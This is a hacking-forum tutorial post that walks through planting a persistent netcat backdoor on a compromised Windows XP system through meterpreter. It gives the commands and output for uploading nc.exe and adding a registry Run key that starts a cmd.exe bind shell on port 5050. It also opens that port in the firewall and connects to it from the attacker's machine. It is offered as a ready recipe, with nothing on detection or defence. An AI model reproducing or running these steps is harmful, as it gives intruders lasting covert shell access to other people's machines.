[LEGITimacy™]

Hello Hack Community, Today we will be installing a netcat backdoor on a compromised system and making the backdoor persistent by interacting with the system registry and firewall. :yeye:

First Lets Upload netcat onto the compromised system using our meterpreter.

PHP Code:

meterpreter > upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32 [*] uploading : /tmp/nc.exe -> C:\windows\system32 [*] uploaded : /tmp/nc.exe -> C:\windows\system32nc.exe

Next we want to make netcat listen on a random port (port 5050) and bypass the system firewall, and open up the port on startup. We will do this by using the "reg enumkey" command and editing the 'HKLM\software\microsoft\windows\currentversion\run' key.

PHP Code:

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Enumerating: HKLM\software\microsoft\windows\currentversion\run Values (3): VMware Tools VMware User Process quicktftpserver

Next we use the "reg setval" & "reg queryval" commands to get netcat to run on startup and open port 5050 and listen for a connection.

PHP Code:

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 5050 -e cmd.exe' Successful set nc. meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc Key: HKLM\software\microsoft\windows\currentversion\Run Name: nc Type: REG_SZ Data: C:\windows\system32\nc.exe -Ldp 5050 -e cmd.exe

Next, we need to alter the system to allow remote connections through the firewall to our netcat backdoor using an interactive command prompt and running the "netsh" command, and to see if operational mode is enabled on the firewall configuration.

PHP Code:

meterpreter > execute -f cmd -i Process 1604 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\ > netsh firewall show opmode Netsh firewall show opmode Domain profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Standard profile configuration (current): ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Local Area Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable

As shown above operational mode is enabled on the firewall configuration :yeye:So next lets open up port 5050 and then use netcat to connect to it :3

PHP Code:

C:\ > netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL netsh firewall add portopening TCP 5050 "NETCAT BACKDOOR" ENABLE ALL Ok. C:\ > netsh firewall show portopening netsh firewall show portopening Port configuration for Domain profile: Port Protocol Mode Name ------------------------------------------------------------------- 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service Port configuration for Standard profile: Port Protocol Mode Name ------------------------------------------------------------------- 5050 TCP Enable NETCAT BACKDOOR 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service

CONNECTING TO THE BACKDOOR:

PHP Code:

root@bt:~# nc -v 192.168.56.60 5050

And there you have it. A Persistent Netcat Backdoor :3 Thanks for viewing my TUT!